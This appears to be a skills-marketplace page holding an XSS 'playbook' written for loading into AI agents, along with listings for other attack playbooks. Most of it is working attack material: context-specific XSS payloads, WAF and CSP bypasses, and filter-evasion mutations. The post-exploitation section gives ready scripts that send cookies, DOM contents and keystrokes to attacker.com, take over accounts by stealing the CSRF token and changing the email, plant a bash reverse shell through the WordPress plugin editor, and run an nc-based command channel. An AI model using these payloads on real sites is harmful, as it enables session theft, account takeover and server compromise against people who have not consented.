一键导入
xss-cross-site-scripting
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.
Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.
Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.
Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.
Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.
Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
| name | xss-cross-site-scripting |
| description | XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths. |
AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows
<script>alert(1)</script>— this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.
Also load SCENARIOS.md when you need:
+ADw-script+AD4-)performance.now() measurementAlso load ADVANCED_XSS_TRICKS.md when you need:
<noscript> parsing differential, form/table restructuringid/name, HTMLCollection, deep property chainsdangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrust*, Next.js SSRBefore broad payload spraying, you can first load:
| Context | First Pick | Backup |
|---|---|---|
| HTML body | <svg onload=alert(1)> | <img src=1 onerror=alert(1)> |
| Quoted attribute | " autofocus onfocus=alert(1)// | " onmouseover=alert(1)// |
| JavaScript string | '-alert(1)-' | '</script><svg onload=alert(1)> |
| URL / href sink | javascript:alert(1) | data:text/html,<svg onload=alert(1)> |
Tag body like title | </title><svg onload=alert(1)> | </textarea><svg onload=alert(1)> |
| SVG / XML sink | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> | XHTML namespace payload |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
Identify context before picking a payload. Wrong context = wasted attempts.
| Context | Indicator | Opener | Payload |
|---|---|---|---|
| HTML outside tag | <b>INPUT</b> | <svg onload= | <svg onload=alert(1)> |
| HTML attribute value | value="INPUT" | " close attr | "onmouseover=alert(1)// |
| Inline attr, no tag close | Quoted, > stripped | Event injection | "autofocus onfocus=alert(1)// |
| Block tag (title/script/textarea) | <title>INPUT</title> | Close tag first | </title><svg onload=alert(1)> |
| href / src / data / action | link or form | Protocol | javascript:alert(1) |
| JS string (single quote) | var x='INPUT' | Break string | '-alert(1)-' or '-alert(1)// |
| JS string with escape | Backslash escaping | Double escape | \'-alert(1)// |
| JS logical block | Inside if/function | Close + inject | '}alert(1);{' |
| JS anywhere on page | <script>...INPUT | Break script | </script><svg onload=alert(1)> |
XML page (text/xml) | XML content-type | XML namespace | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
When input reflects in multiple places on the same page — single payload triggers from all points:
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)>
Input inserted via .innerHTML, document.write, jQuery .html():
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
For URL-controlled resource insertion:
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
When URL itself is reflected in form action:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
Inject between .php and ?, using leading /.
Filename injection (when filename is reflected):
"><svg onload=alert(1)>.gif
SVG upload (stored XSS via image upload accepting SVG):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
Metadata injection (when EXIF is reflected):
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
When page has window.addEventListener('message', ...) without origin validation:
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
When origin IS checked but uses .includes() or prefix match:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
Attacker controls facebook.com.ATTACKER.com subdomain.
Response has text/xml or application/xml:
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
When there IS a </script> tag later in the page:
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
ajax.googleapis.com)<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
When {{1+1}} evaluates to 2 on page — classic CSTI indicator:
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
<base href="https://attacker.com/">
Relative <script src=...> loads from attacker's server.
When CSP blocks script but allows img:
<img src='https://attacker.com/log?
Leaks subsequent page content to attacker.
When parameter names are reflected (e.g., in JSON output):
?"></script><base%20c%3D=href%3Dhttps:\mysite>
Payload is the parameter name, not value.
%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag
Test sequence: reflect → encoding behavior → identify filter logic → mutate.
<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of space
Filter strips <x>...</x>:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click
Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.
Classic trigger payload (bypasses immediate HTML encoding):
<svg/onload=alert(1)>
Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.
Every parameter that is not immediately reflected should be tested for blind XSS:
Blind XSS callback payload (remote JS file approach):
"><script src=//attacker.com/bxss.js></script>
Minimal collector (hosted at bxss.js):
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
Use XSS Hunter or similar blind XSS platform for automated collection.
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions
<h2>, <img>, <table> — are they reflected raw?<iframe src=//attacker.com/c= (no closing >)<%00h2, %0d, %0a, %09, %253C<script> and onerror but NOT <script (without close): <script src=//attacker.com?c=<svg> work? Does <ScRiPt> work?<script> in search, do they filter it in file upload filename? In profile bio?Key insight: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.